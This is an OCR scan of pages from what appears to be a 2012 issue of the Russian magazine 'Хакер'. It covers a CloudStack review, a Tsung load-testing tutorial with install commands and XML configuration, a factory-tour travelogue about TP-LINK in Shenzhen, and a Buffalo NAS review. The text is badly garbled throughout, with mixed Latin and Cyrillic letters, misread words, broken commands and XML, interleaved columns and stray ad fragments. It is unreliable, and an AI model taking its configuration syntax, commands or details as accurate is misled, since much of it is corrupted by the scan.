9/10 8/10 8/10 8/10 9110


5}ас*ор;

tr,,,"",

Select youI deployment аrсhitесtцIе

W1 1;Ф

tfr .ffJ

ш

о о l,,lacTep развертывания

0pensta(k s Аистрибутиве sta(kOps

Интерфейс управления clOudstack прост, понятен

cLOUDSTAсK .l

Сайтпроекта: с oudstack,oгg.

sf

,пеt/ргоjесts/с oudstack

r,пце"зия:лраспеLlсеп5е

Система для организации laaS, которая подойдет как для небольшой группы виртуальных окружений на нескольких машинах, так и для построения сlочd-систем уровня дата-центра или предприятия. В качестве систем виртуализации используются 0rас е VM lViгtuаlВох), KVM, OVM, Vlйwаге чSрhеге и ХепSегчег, которые можно использовать параллельно. Клиент самостоятельно выбирает, какой гипервизор ему больше подходит для кOнкретнOг0 сервера. Начало разработок датировано 2010 годом, у истоков стояла компания VlйOрs [под руководством Шэна Лиана [Sheng Liangl, создателя виртуальной машины JVM], затем проект был переименован в Cloud,com. Практически весь код распространялся под лицензией GNU GPL, закрытой оставалась лишь небольшая его часть, отвечавшая за поддержку коммерческих систем Cisco и ЕМС. В июле 2011-го Cloud.com приобрела Citгix, и код, вопреки всем опасениям, был опубликован под GNU GРLчЗ. В настояцее время разработки передаются в Арасhе Fоuпdаtiоп, а лицензия изменена на Apache License, Параллельно Сitгiх перестала поддерживать 0penStack в пользу более зрелого CloudStack. Используя CloudStack, можно построить на своем оборудовании структуру, аналогичную Amazon ЕС2, с гибкими возможностями управления всеми доступными ресурсами lвиртуальными серверами, сетями и системами хранения данных} публичного и приватного облака из единой консоли. В простейшем случае инфраструктура состоит из одного управляющего сервера и набора вычислительных узлOв, на которых организуется выполнение гостевых 0С в режиме виртуализации,0дин сервер может управлять десятками тысяч территOриальн0 удаленных серверов. Хотя в сложных системах возможно использование кластера из нескольких

управляющих

серверов и балансировlликов

Поддерживается полная изоляция ресурсов, их автоматическое выделенйе и ограничение, из других возможностей стоит отметить: мOнитOринг в реальнOм времени, пOдсистему 0тчетOв, средства для сOздания снапшOтOв и резервнOг0 кOпирOвания, автOматическое восстановление виртуальных машин после сбоя сервера. Управление возможнб через понятный даже новичку вебинтерфейс (Сitriх всегда славилась своими удобными интерфейса-

128

функционалеt

тизированы, и большинство операций выполняются буквально одним щелчком мышки. Администратор может очень легко выделить квоты, создать новую VM из шаблона, перераспределить ресурсы, в том числе подключив публичное облако. Пользователь также управляет своими VM в пределах выделенных ему ресурсов. Результатом сотрудничества с 0penStack стала поддержка Swift в C]oudStack З.0, вышедшем в начале 2012 года. Также в этой версии реализована инфраструктура NaaS lNetwoгking as а Sегчiсе], а CloudStack полностью интегрируется с Сitгiх NеtSсаlег SDX/VPX, обеспечивая повышенную безопасность и прOизвOдительнOсть сети. !,ля установки предлагаются исходные тексты и бинарные сборки для Ubuntu 10.04 и RHEL/CentOS 6,2, Также на гРаth можно найти готовую сборку с CloudStack (гоаth,соm/sо ut ons/c oudstack,php]. ,Щокументация весьма подробная и хорошо структурирована, а потому помогает без проблем пройти все эталь] развертывания laas на базе cloudstack.

Функционал ьность роизводительность Простота использования П

Безопасность i,'lасштабируемость

.м__.м_-_ __Е-s ___-_s___ @.._ ý-л____

10/10 9110 10/10 9110

9110

lElпtfi|

Приятно осознавать, что сегодня доступны качественные и бесплатные продукты, которые обладают всеми необходимьlми для создания своего собственного облака функциями. fE

нагрузки,

а сама инфраструктура может быть разбита на сегменты (в так называемые zопеs), функционирующие в отдельном дата-центре.

,

х

ми), CLl или CloudStack АРl. В дополнение к своему собственному АРl CloudStack поддерживает Amazon ЕС2 АРl [через отдельнь й модуль CloudBridge], SЗ APl и vC]oud АРl. Многие вопросы автома-

,,.:,,,. Разработчик: Сitгiх Systems /Арасhе Fочпdаtiоп

__ |il

о о

испOльзуя сLOuDSTAсK, 1.{0жН0 пOстРOитЬ нА CBOE]ul 0БOрудOвАнии структури АнАлOгичную Al{AzON Ес2 хдкЕр

09 11641 2012



timmy mathematicus

IshmublonOgmail.com]

ru ryзница стресс-тестов

ТSUNG: РАСПРЕДЕЛЕННАЯ СИСТЕi,lА НАГРУЗOЧНOГ0

тЕстировАния вЕБ_прилоlквн !30

и

й


Кузница стресс-тестов

На сегодняшний день существует множество инструментOв для прOведения нагрузOчног0 тестирOвания, н0 ни 0дин из них не впечатлил меня так, как Tsung. Это мощное и гибкое решение, которое позволяет имитировать большую

ТSчпg Main Stati5tics

.щ .м

Stats R€oort .

sýion

Tbrouobout

. соuпЕБ . frр sbfus

.Ещ

нагрузки испOльзуя минимум ресурсов.

. Responsenпes . тьюпgьрil щ!ь .ýhцьщ

(ходить> по сайту по индивидуальному сценарию и иметь личные параметры. Нагрузочный сценарий может быть разбит на фазы, например для плавного повышения нагрузки либо имитации кратковременных пиков нагрузки. При проведении теста можно задействовать дополнительные мониторы {агент мониторинга Егlапg, SNMP, Muninl, позволяющие контролировать параметры системы, на которой работает веб-сервер. 0рганизовано журналирование результатов теста и разнообразная визуализация результатов lграфики, диаграммы,

таблицы

и

прочее).

25,4/sф

зt/* 26.4t зl/ý 26.4lsк 8.?/*9шlфф

4288l

тrап5асtiопs statistlc5

Graphs Report

Разработка Tsung была начата в 2000 году Николя Никлосом lNicolas Niclausse]. Сперва это была распределенная система для нагрузочного тестирования JаЬЬег'а, предназначенная для внутренних нужд компании lDЕдLХ (ныне 0репТгчst]. Через несколько месяцев проект развился в опенсорсный мультипротокольный инструмент нагрузочного тестирования. Сегодня Tsung с полным правом можно причислить к одним из лучших решений в своей области. Утилита подходит для тестирования многих видов клиент-серверных приложений на базе НТТР, SOAP, WebDAV JаЬЬег/ХМРР, LDAP, MуSQL и РоstgгеSQL. Благодаря модели легковесных процессов, заложенной в языке Еr ang, на котором написан Tsung, возможно создание более 50 000 конкурентных запросов в секунду с одного компьютера. !ля большей реалистичности каждый из виртуальных пользователей может

0.608м 98,55пý s,55м 31,47я

l5,g*

lш4& lш& lзшаsф

Fs

NlВщ}

NФ ШgЬdlМ E_aftle fu

Е_пФr

fugý

м

.fu .fu

NetWork ТhrоUqhрчtЬ

xML Сопfig file

counters statistics

0тчет, сгенерированный

Т5чпg

количество подключенных

пользователей

и количетсво ответов сервера в секудну

160о

l400

1200

g

1000

Е 800

600

Первым делом устанавливаеlи пакет егlапg

и

зависимости:

$ sudo apt-get install егlапg $ sudo apt-get instal1 gnuptot-nox 1ibtemplate-pert \ 1ibhtml-template-penI

]iЬhtml-tеmрlаtе-ехрг-реп1

Затем скачиваем последнюю версию утилиты, выполняем сборку и создаем конфигурационный файл tsung.xml в поддиректории .tSUng до1,4ашнего каталога:

пOддЕржкА прOтOкOлOв НТТР:

1. 3апросы GET, POST, PUT, DELETE, HEAD. 2. Автоtlатическоеуправлениеcookies.

3. ПоддержкаGЕТlf-Моdifiеd-Siпсе. 4. Режимпроксидлязаписисессийспомощьюбраузера. 5. ПоддержкаSOАРспомощьюНТТР-запросов|заголовки SOAPAction обрабатываютсяl.

JаЬЬеr/ХltlРР:

1. Сообщенйяобаутентификации,регистрациииприсутствии.

2. 3. 4.

Чатсообщениядляонлайн-иофлайн-польэователей. Rоstеr-и GЕТ-запросы. Многопользовательскийчат:подключениекгооm'у,сообщения в

rооm'е, смена ника.

5. Запросысинхронизациипользователей. хлкЕр

09 /1bt+l2012

20о

1500 Количество пOдключенных

пользователей

2000

и

количе(тво ответов (ервера

в

секунду

$ Wget http://tSung.er}ang-pnojectS.ongldiSt/tsung-1 .4. 2. ta г. gz

$ tаг -zxvf tsung-1.4.2.taг.gz

$ ,/configuгe

&& make

$ sudo make instaI1 $ mkdiг ,/.tsung,; touch -/.tSung/tsung.xmI Вся конфигурация Тsuпg хранится в одном ХМL-файле, который имеет следующую структуру:

<?xml чегslоп="1.а"?> <tSung log].evel="info" dumptгaffic="falSe"> </tsung> С параметром

loglevel, думаю, многие встречались, традиционно

он определяет уровень журналирования. Параметр dumрtгаffiс ис-

пользуется для отладки сценария: если он включен [dumptгaffic=tгue},

то создается дополнительный лог, в который записываются полные


ответы от сервера, после отладки его следует отключить. Также dumptгaffic может принимать дополнительные значения для сокразаписывает только первые 44 щенного логирования трафика: light Кб ответа и ргоtосоl параметры запроса и URL. -записываеттолько Немаловажной особенностью Tsung является возможность конфигурации кластера из клиентских машин. N4ожно использовать несколько-виртуальных lP с одной машины, это крайне полезно

-

в случае, если lоаd-Ьаlапсег на сервере использует lP клиента для

распределения трафика между кластером серверов. ,Щаже если Егlапg VM теперь способна справляться с несколькими CPU lЕгlапg SlйР), тесты показывают, что для клиентов Tsung более эффективно использовать одну VM на CPU (с отключенным SMP]. 0днако значение параметра cpu должно быть равным количеству ядер твоих нод, Если ты предпочитаешь использовать Егlапg SN4P, добавь опцию '-s' при старте Tsung lи не задавай CPU в файле конфигурации]

<clientS>

<client host="test1" Weight="1"

mахчsеrs="8000">

<ip value="10.0.2. з"/> <ip value="10.0.2.4"/> </client> <client host="teSt2" Wеight="з" maxuSenS="25000"

0тнощение сгенерированных

пользователей

к

подключенным

СpU="2">

<ip Value="10. 1. 2. 5"/> </c]ient>

</c]ients> <sепVеrS>

<sегVег host="10.2.2.ro" роrt="8081" type="tcp"/>

<

/ se

гчегs

>

ПЛАТНЫЕ ИНСТРУМЕНТЫ

для нАгрузOчнOг0 ТЕСТИРOВАНИЯ

l.

Егlапg-функ-

циональный язык прOrраммирOва_ ния с

динамиче-

ской типизацией, предназначенный для создания

Лequest л

распределенных вычислительных систем.

осс

.

Егlап9 был

разработан Джо Армстронrом в 1986 rоду.

.

Т5чпg является

полнOстью открытым и бесплатныff пр0дуктом lлицензия GPLv2|.

.

Tsung эффективен для вы(о-

конаrрухенных проектOв.

a изначальво Тsчпg был предназначен для

наrрузочноr0

тестирOвания JаЬЬег'а.

0собо стоит отметить программы LоаdRчппе1 Регfогmапсе Теstег и OALoad. Плюс их в Tott, что ты можешь попросить компанию-раэработчика изменить или сконфигурировать систему под твои нужjlы, эти системы обычно универсальны и подходят для тестирования любого программного обеспечения. Но не каждая организация готова платить большие деньги, к тому же к исходникам нёт доступа, что для многих является сдерживающим фактором.

1з2

Схема наrрузочного

сценария

В данном примере вторая машина используется в кластере Tsung с большим <весом, и двумя ядрами. По умолчанию нагрузка paBHoN4epHo распределена на все ядра (одно ядро на клиент п0 умолчаниюl. Параметр weight (iпtеgег] может быть использован для

настройки приOритетности машины клиента, В частности, если

у одного клиента вес 1, а у другого 2, второй запустит в два раза больше юзеров, чем первый (пропорции будут 1/З и 2/Зl. В при-

веденном сценарии, где у второго клиента CPU = 2 и weight = З, вес равен 1,5 для каждого ядра. Параметр гпахu5егs используется для того, чтобы обойти лимит на максимальное число Socket'OB, открываемых одним процессом lBo многих 0С по умолчанию'1024l. При превышении лимита запускается новая виртуальная машина Егlапg'а. Значение mахusегs обычно равно 800, но сейчас можно и нужно

нАгрузку },l0жн0 рАзБить

НА НЕскOлЬк0 ФАз, нАпРи].,|ЕР плАвн0 ЕЕ пOвышАя. всЕ пАрАlчЕтры гиБк0 НАСТРАИВАЮТСЯ хлкЕр

09 /164l 2012


Кузница стресс-тестов

использовать гораздо большее значение {например, З0 000, лимит 0С поднимается командой ulimit -n З0000], это не приведет к потере прOизвOдительнOсти. Естественно, что при нагрузочном тестировании нужно следить и за параметрами нагружаемой системы. Tsung поддерживает несколько типов мониторинга сервера, Это родной агент мониторинга Егlапg, всем известный Munin и SNMP, агент должен быть установлен на стороне сервера. Если нагрузка создается на кластер серверов, мOжн0 применять разные агенты для разных серверOв, например: <mоп

itогi

пg

АЛЬТЕРНАТИВА 0Т АРАСНЕ Apache JМеtег

- отличный кроссплатформенный инструмент, разрабатываемый Apache Jakarta Рго,iесt. Изначально JМеtег сOздавался как средство тестирования веб-приложений, но в настоящее время он способен проводить нагрузочные тесты для JDВС-соединений, FТР, LDДВ SOДВ JMS, РOР3, lМДВ НТТР и ТСР. Архитектура, поддерживающая плагины сторонних разработчиков, позволяет дополнять инструмент новыми функцияttи. В программе реализованы механизмы авториэации виртуальных пользователей, поддерживаются польэовательские сеансы. Единственный, на мой взгляд, недостаток данного инструмента - создаваеt{ые Jача-потоки пожирают довольно много памяти, поэтому при большом количестве конкурентных запросов одной машины недостаточно.

>

<monitoг host="10.1.1.94" tуре="егlапg"/> <mопitог host="10.1.1.95" type="munin"> <munin pont="8081"/> <

/mоп

itог>

<monlton host="].0. <sпmр < <

/mоп

/mon 1tог

itoring>

],. 1. 96" type="Sпmр"> чегslоп="ч2" community="nwcommunty"

рогt=

''

11161'' /

>

>

< |

Нагрузку можно разбить на несколько фаз, например плавно ее повышая. В настройках задаются длительность каждой фазы и очередность выполнения фаз. В каждой фазе можно установить количество конкурентных пользователей двумя способами: задать количество пользователей за промежуток времени, например 100 пользователей в секунду, либо указать, с какой частотой создавать пользователей. налример один пользователь каждые 0,01 секунды. Это можно использовать, например, для разогрева кешей перед большой нагрузкой. В стабильную нагрузку можно всTавить специальную

сессию в 0пределенное

load

!

>

<usег Session="checkordeгs" </load>

unit= "mi nute " /

start_time="20"

Stагt time="25"

>

время, для имита-

Кроме того, возможно настроить эмуляцию нескольких юзерагентOв и устанOвить прOцентнOе сOотнOшение между ними, этот прOцент 0пределяет верOятнOсть присвOения сессии юзера 0днOго из указанных агентов. flалее более подробно остановимся на на-

>

<агriчаlрhаsе phase="1" dunation="10" unit="minute"> {

Фаза вагрузки <useгs агпiчаlгаtе="1000" unit="second"> </usens> < /а ггiча 1 phase > <usеп session="addмanyPnoducts" u nit= "minute " / >

ции какой-либо проверки или запуска специфического сервиса. Например: <

--

строЙках НТТР-сессии,

Фаза разогрева -->

<SeSsions>

<usens iпtегаrriчаI="о.1" unit="second"> </usепS> </аггiVа]_рhаSе>

<Session name="http-sesSion" pгobabi.llty="76" type="ts_http" > <nequest> <http uг1="/iдages/logo.gif"

<агпiчаlрhаsе phase="2" duгation="60" unit="mlnute">

method="GET"

vension="1.1" if modified

Количество ТСР-соединений и ответов сеDвера ,

l800

.- время установления ТСР-соединения

'

время ответа сервера

1600

1400

12о0

]

1000

800

600

1000

Скорость

хдкaр

установленхя

о9

/1ьцl2012

ТСР-соединенf,я

и ответа

сервера

Количество ТСР-соединений

и

ответов сервера


sincen"Mollj О2 Лрр 2o!z 14:1З:З2

<

/

гequest

GМТ"/>

>

<thinktime value="20" rапdоm="tгче"/> <tran5action паmе=" indeX_гequest:: > <гequest> <http url="/index.en.html" method="GET" Vегsiоп="1.1" /> </гequest> <леqчеst> <http url="/Iogo.gif" method="GET" чегSiоп="1.]," /> </rеqче5t> <

/transaction

>

<thinktime min="1" max="30" папdоm="trче"/> </ Ses

s

/Sess ion

>

ion

>

<session name="http-sesSion2" pгobability="36" <

...,

..,

</sessions>

r

В данной конфигурации две сессии, которые выполняют-

ся с вероятностью 70% и З0% соответственно. В начале сессии генерируется GЕТ-запрос с параметром if_modified_since, далее идет рандомная задержка thinktime. По умолчанию thinktime будет случайное число из экспоненциального распределения со средним значением, равным value. Но можно задать промежуток, тогда это будет случайное число из равномерного распределения на данном

.

рrоiесts.огg:

.

графхческие интерфейсыдля TsUngl siпg-Т5чпg goo.gl/WNOGR, Tsung GUl Ычеепd. com/tools/tsungui.

промежутке. Следующие два запроса объединены в транзакцию, эт0 позвOляет 0тслеживать суммарнOе время выпOлнения транзакции из нескOльких запрOсOв. ,Щалее идет пример сессии для JаЬЬег'а. Так как JаЬЬеr не парсит ответ, то у запроса есть несколько типов Acknowledgments lподтвержсчитается подтвержденным, если от сервера пришло дений]: local подтверждение, по_асk считается подтвержденным сразу после используется для синхронизации действий отправления, global пользователей, в основном для ожидания подключения всех пользователей перед отправкой сообщений [например, первого сообщения о присутствииl. Также здесь показаны разные виды сообщений: аутентификация, присутствие, онлайн, офлайн.

-

-

-

<sessions>

<session pгobability="100" паmё="jаЬЬег-ехаmрIе" type= "t s_j аЬЬег" /

гequest

<

./>

>

<thinktime чаlче="2l'1> <tгanSaction name="authentlcate" requeSt <

>

>

jаЬЬеr type="auth_get" ack="local"/>

гequest

<

/

<

геquе st

>

>

<jаЬЬеr type="auth_setJ]lain" ack="local">

;

</jаЬЬег> <

<,/t

/

гequest

гansaction

<

геq uest

<

/

> >

>

<jаЬЬег type="pгesence:initial" ack="no_ack"/>

гeque5t

>

<transaction name="online"

>

<гequest> <jаЬЬеr type="chat" ack="no_ack"

size="16" destination="oлllne"/> </гequest>

</transact ion

для 0станOва сOOтветственн0 tSung StOp, для прOсмOтра статуса tsung status. Журнал событий поо количестве юзеров на сайте мещается в каталог -/.tsung/log/yyyymmdd-HH:tйM. ,Щля генерации НТМL-отчетов и диаграмм используется скрипт tSUng*StatS.pl, его необходимо запускать из директории с логом командой регl tsung_stats.pl.

-

>

<request> <jаЬЬеr type="connect" ack="local" <

Сайтпроекта

T5ungl t5чпg.егlапg-

Статистика, которую предоставляет Тgчп9: . прOизвOдительность: время 0твета, время присOединения, транзакции, запрOсы в секунду; . ошибки: статистика по возвращенным ошибкам; . поведение сервера: график занятости cpu и памяти, сети,

@

Tsung можно использовать для проведения стресс-тестов разных проектов и новых площадок, но лучше всего он подойдет для тестирования высоконагруженных систем. К нему можно прибегнуть для определения стрессоустойчивости разного вида клиентсервернь!х приложений, SQL-базы или джаббера. Ну и нам хватит всего одной машины, чтобы имитировать достаточно большую нагрузку.

т

>

<tгansaction

name="offl iпе"> <request> <jаЬЬеп type="chat" ack="no_ack"

size="56" destination="offline"/> <гequest>

</tranSaction> </ <

se'ssion

/ses sions

>

>

Когда все подготовителЁные действия выполнены, можно запустить наш тест. ,Д,ля этого необходимо ввести команду tSung Stагt,

lзa

тSUшG с пOлНы},l пРАВ0},| },lОЖН0 ПРИЧИСЛИТЬ К OДНИ]tl ИЗ ЛУЧШИХ РЕШЕНИЙ ДЛЯ нАгру3Oч нOг0 тЕсти рOвАн ия хАкЕр

09 /164/ 2012


м"t

,ýjL)i'

ОТБОРНЬIЕ ПРОДУКТЫ СО

ВСЕГО

МИРА*

Мы знаем, где в мире найти самые лучшие продукты. Вы знаете, чrо можете найти их рядом, под маркой TASH


FERRUl,|

Длександр Лозов(кий

вЕликOЕ китАискOЕ прOизвOдств0 ч

эньчжэнь, несмOтря на т0 чт0 0 нем мал0 кт0 слышал, 0тнOсится к 0дним из самых прOмышленн0 и экOнOмически развитых городов Поднебесной [второе место среди китайских городов по объему промышленного производcTBal. Причиной тому было образование в его районе свободной экономической зоны, что привлекло в город инвестиции, крупные компании (в том числе иностранныеl и большое количество трудOвых мигрантOв. Из компаний, название которых тебе может хоть что-то сказать и гигантские небоскребы которых мы имели честь видеть во время прогулок по городу, я бы назвал три: Huawei, ZTE, TP-LlNK. мало кто не знает В представлении эти конторы не нуждаются

-

кул ьтурн

bl

БрАтскOг0

ия в пOльзу

Е иссл ЕдOвАн

киъя

ИЗВЕСТНOГ0 ЖУРНАЛА (ХАКЕР>

названиями>), <русские национальс неприличными "телефоны ные убийцы айфонов" и не очень известный, но набирающий популярность в наших пенатах производитель роутеров, Собственно, последний и пригласил нас в это путешествие. ,Ща, эти люди знали, чт0 нам страсть как хOтелOсь пOсмOтреть на настOящее производство. Проживая в России, мы подозревали, что наклеивание шильдиков на готовые приборы и крупноузловая сборка импортной аппаратуры к настоящему производству не относится, пOэтOму мы мечтали взглянуть на т0, как печатаются платы, впаиваются электрOнные кOмпOненты, привинчиваются антенны и собираются корпуса. И все это было нам продемонстрировано. Впрочем, некоторые откровения нас постигли еще до того,

как наши автобусы въехали на территорию фабрики, Во-первых, мы увидели фабричные общежития, Как цивилизованный москвич, прошедший в свое время достойную закалку в Российском университете дружбы народов, я немножко не по-другому представлял себе типичное общежитие... Точнее, я представлял ег0 как угодн0, н0 только не как чистOе мнOгOэтажнOе здание

Страна, которая занимаетлидирующие места по количеству произведенной малвари. Здесь всегда можно найти абузоустойчивый хостинг, и здесь живет куча программеров и хакеров от 0ткрOвенно слабых до профессионалов высокого уровня. Здесь ломают программы, ставят [не только софтверные) закладби и отсюда устраивают DDоS'ы. ,Щля настоянащего айтишника здесь созданы все условия пример, фейсбук и твиттер отсечены великим национальным файрволом, что не может не сказываться на производительности труда компьютерщиков.

-

хлкЕр

09

l1ьL/ 2012


Великое китайское производство

!щr&ij.lдg]цЬiё;4Еit&дlмti.'.с{i

irliri.+.i|,t :!);{,:.,,jiii,1.1l

1

ИНТЕРЕСНЫЕ ФАКТЫ В Китае очень любят Windows ХР, Google Сhrоmе и Mozilla. Win7 я нигде не видел ни на произвOдстве, ни в ресторанах.

-

Количество настояlцих iРhопе 45, Galaxy S3 топовых НТС у пассажиров метро в Гонконге поражает воображение. Левые китайские lxexel смартфоны встречаются очень редко,,, и

Водят

в

Китае

реэчеl

чем

в

Европе,

но

чуть

спокойнее, чем у нас. Разумеется, в три ряда не паркуются и с четырех рядOв не поворачивают.

В Китае есть полицейские велосипеды. 06ычно они прост0 стOят на трOтуаре и мигают пробле-

сковыми маячками, свидетельствуя о том, что качественные аккуt!уляторы в Китае илtеются.

Метро города Гонконга удивительно просторное, снабжено весьма подробными картаt!и, а асе остановки там объявляются на английcKott. В общеlt, если тебе захочется сравнить метро Гонконга с метрополитеном иr.{. В. И. Ленина, то последний ttox<eT быть объявлен победителем исключительно в категории <КультурнOе наследиеrr.

Угнетенные грах(дане КНР нам тоже встречались _ вечерами 0ни съезжаются на rрузовых велосипедах [ничеrо смешного, кстати] на стихийные рынки, достают пропановые баллоны и гигантские казаны и начинаютторговать едой и всякой мелочевкой.

с кOндициOнерами у каждOг0 0кна и по линеечке развешанным на окнах бельем. Возможно, конечно, что эту самую одежду так

повесили по команде перед прибытием иностранной делегации, н0 кOнтраст между 0течественными и китайскими обtлагами

-

был впечатляющ. Впрочем, хватит об общагах в конце концов, внутрь мы всс равно не заходили. А вот внутрь завода через подъезд, украшенный кумачовым знаменем с надписью <[обро пожаловать на фабрику TP-LlNK>, мы действительно проникли. Как следует прозомбировавшись презентацией, которая рассказала нам 0 планах, дOстихениях и перспективах компании, мы 0тправились туда, где таилось все самое интересное, на завод. 3авод оказался на редкость чистым и опрятным. В-принципе, эт0 сOвершенн0 лOгично, что электронный завод должен быть чистым, - прOст0 сOзнание человека, который привык к зданиям 1960-х годов постройки, выбитым заводским окнам и сдаюlлимся

-

-

под офисы помеlцениям,

должно было адаптироваться к этой новой реальности. Разумеется, бетонных заборов с пущенной пOверху оцинкованной колючей лентой <Егоза> мы тоже не об на ружил и. Первым дёлом мы увидели склад. Склад был совершенно

обычным

-

антистатические покрытия, идеально ровно рас-

пOлOженные стеллажи, прOнумерованные и тшательно учтенные запасные части. Принимая во внимание строгость китайского закO.нOдательства и наще уважение к гостеприимным хозяевам, никто из iашей экспедиции на складе ничего не спер,

хАкЕр

09

/16з/ 2012

Рынки левого товара в Китае тоже есть, но на фоне вполне официальных моллов найти их не так просто. Зато Tat1 мохно купить телефон с надлисью <<Zopo> на борту и характеристиками, близкими к флагманским смартфонам современности. Меньше чем за 200 баксов. Когда в одном ресторанчике я обнаружил 0тOрванную и прислOненную к стене дверь и отсутствие мыла на раковине. я испытал острый

приступ нOстальгии.

прOвЕряЕтся гOтOвАя прOдукция дOвOльн0 сурOв0 кýкдыЙ роутЕр подключАют

-

К ТЕСТИРУЮЩЕЙ ДППДРДТУРВ и здсOвывдют в кА},lЕри котOрАя ОПРЕДЕЛЯ ЕТ Э]t|-ИЗЛУЧЕН ИЕ


FERRU].{

мы там увидели. Вот, к примеру, отдел, в котором за-

нимаются слOмавшимися или не прOшедшими проверку роутерами, Казалось бы, парни и девушки, прикованные к своим рабочим местам заземленными браслетами, просто обязаны иметь кучу кустарных приспособлений. Припой в консервной банке, ну хотя бы держатель для паяльника из сталистой проволоки| Но нет. Все приборы и материалы штатные и очень приличные. 0ставив надежду найти здесь признаки русской народной электротехники, мы направились в 0тдел, где испытывают прOизвOдимую техпроверка в сухожаровом шкафу. нику. 0тличная мысль Роутеры, засунутые в сухожаровой шкаф с выставленной температурой 60 градусов, рождают ассоциацию с Шварценеггером из "Красной хары>. Который включает роутер в розетку и говорит: .Если ты работал на литейном, то привык к харе!> Все остальные проверочные стенды не столь эпичны. Куча звукоизолированных помещений и прочих клеток Фарадея, стенды с большим количеством оборудования, кOтOрOе прOверяется на сOвместимость с прOизвOдимым, проверка на работу во влажных условиях и хитрый прибор, симулирующий статическое электричество... Наверное, проверенный ей роутер выдержит любую хорошая штука грозу. Зато выгорит подключенная к нему ceTeByxa;l. вот так, шаг за шагом и комната за комнатой, закончилась наша экскурсия по фабрике TP-LlNK. Впереди нас ждали обычные экскурсии, обеды, ужины [порой даже с русской водкой} и прочие мероприятия, намекающие нам, не пустой звук. Впрочем, что восточное гостеприимство все это быстро закончилось... Сквозь стену тропического ливня (который отличается от обычного тем, что за несколько секунд в нем ты вымокаешь до нитки) корпоративный транспорт доставил нас на родину Брюса Ли и flжеки Чана Гонконг, откуда самолет кOмпании унес нас в страну вечнOзеленых пOмидOрOв, вечнотемных подъездов и вечнотекущих кранов. Где за полчаса поездки в аэроэкспрессе до Павелецкого вокзала мы в полной N{epe компенсировали тот визуальный дефицит бетонных заборов с колючей проволокой, бардака, распада и граффити, который все эти дни подспудно в нас накапливался.

lW

-

-

-

-

-

Е

3атем мы перешли в цех, где собирают вай-фай-роутеры. 0громное помецение. Таблицы и схемы, показывающие запутанные отношения в вертикали заводской власти и особенности техпроцесса. И наконец, конвейер.3десь весьма пРиличного вида рабочие [вовсе, кстати, не похохие на угнетенных китайских добровольцев] претворяют в жизнь электротехническую мысль. Японские станки, которые наносят электропроводящие цепи. Не первой свежести, но вполне еще бодрые, Лента конвейера несет готовые платы к устанOвщикам электрOнных кOмпOнентOв, передает их в аппарат для пайки, в объятия тетенек, которые откусывают выступающие нOжки и дOпаивают то, с чем не справилась аппаратура, затем к прикручивальщикам антенн, установщикам в корпуса (дяденька, тремя четкими ударами обрезиненного молотка собирающий корпус, быстро стал народным любимцемl и, наконец, в руки сотрудников 0ТК. Проверяется готовая продукция довольно сурово каждый роутер подключают к тестирующей аппаратуре и засовывают в камеру, которая определяет ЭМ-излучение. Впрочем, не одним конвейером живо производство. Помимо завода, мы побывали в основном здании компании, где кипит мысль разработчиков инженеров ,и программистов. В болЪшинстве служебных помешений фотографировать было нельзя, но кое-что интересненькое

-

-

lзв

х^кЕр 09/]6412012


FЕRRU].{

Даниил Либарц

BUFFALo TERASTATION T55400D NAS,Ь| в MACCbl стройства NAS уже давно перестали быть чем-то необычным, сложным и далеким и для домашнего испOльзOвания, и для применения в небольшом офисе. В наш век, когда сетевые технологии развиваются бурными темпами, любой уважающий себя пользователь просто обязан иметь сетевой накопитель. На рынке грисутствует множество моделей портативных серверов с различным (<железом>) и прошивками. Сегодня же речь пойдет о производительном решении, предназначенном

Buffalo ТегаStаtiоп TS5400D. для SOНO-сегмента, Buffalo TeгaStation TS5400D имеет внешний экран, лOэтOму пOльзOвателю не придется каждый раз о6ращаться к <админке> в поисках той или иной мелочи. На задней стенке Buffalo Teгastation TS5400D распаяно сразу четыре usв-разъема, два из которых прогрессивнOго, третьего поколения. Рядом с ними расположились два гигабитных порта Еthегпеt и портдля управления источником бесперебойного питания. В целом внешний вид сетевOг0 накOпителя не имеет каких-либо недочетов, NAS для офисного сегмента выглядит строго и лаконично. Интерфейс управления прост и понятен. Сердцем обновленной линейки Buffalo ТегаStаtiоп TS5400D является двухъядерный процессор lntel Atom D2550, Чип функционирует на частоте 1,86 ГГц, илиеет два физических ядра, 1 Мб кеша и поддерживаеттехнологию Нуреr-Тhгеаdiпg. fla, как показало время, процессоры, первоначально разработанные для неттопов и нетбуков, 0тлично зарекомендовали себя и в готовых NAS. Ведь пOмим0 всех перечисленных характеристик Intel Atom D2550 имеет теплопакет всего 10 Вт. Процессор вместе с 2 Гб оперативной памяти стандарта DDRЗ создает весьма и весьма производительный тандем. Мощности такого железа хватит на несколько лет постоянного использования и смену не 0дного поколения прошивок, Buffalo ТегаStаtiоп TS5400D может поставляться с кOмплектOм жестких дисков емкостью от 1 до 4 Тб. Это первOе хранилище кOмпании, где применяются диски такого большого объема. Имея в распоряжении четыре HDD, мы можем организовать массив RAlD уровня 0, 1, 5, б и 10, а таrtже получить непосредственный доступ к накопителям в режиме JBOD, Buffalo ТеrаStаtiоп 5400 пOддерживает гOрячую замену дисков, что не может не радовать, особенно в условиях постоянного файлооборота в офисе. Поддержка iscsl также говорит нам о бизнес-направленности устройства. С помощью Buffalo

-

хАкЕр 09/164l2012

TeгaStation TS5400D можно организовать сервер видеонаблюдения. В комплекте идет лицензия на одну камеру, а такхе заявлена поддержка более 1200 моделей камер от 184 производителей. Конечно же, Buffalo ТегаStаtiоп TS5400D имеет поддержку принт-сервера. 0тметим, что конструкция накопителя предполагает внутреннее размещение блока питания. На наш взгляд, это более разумное решение, нежели использование внешнего адаптера питания. Во-первых, мы избавляемся от большого провода, Во-вторых, блок питания пOлучает активное охлаждение. Производитель даже не побоялся дать на устройство три года гарантии.

ЕБrjfil

Помимо <железной> составляющей, не вызывающей нареканий, стоит отдать должное и программистам, трудящимся над прошивкой Buffalo TeraStation TS5400D. Хотя бы за то, что все учтено до мелочей. Также программное обеспечение позволяет использовать накопитель как душе угодно. Именно поэтому Buffalo ТегаStаtiоп 5400 нельзя 0днOзначн0 0тнести к определенному классу: сервер будет хорош как дома, так и в офисе.

т

Койпоховка lкахдый диск в

отдельностиl:

зт6,4тб

] Тб,2Т6,

1,1аксинальный обьей: до ]6 тб Процессор: lпtеl Atom D2550 0перативная паиять: 2 Гб, DORз Слоты для HDD: 4 RAlDl 0i 1/5/ /6/10

Разъеиы:2

х

RJ-45

]0/]00/1000 Мбит/с,

2.0,2хUSВЗ.0

2 х

USB

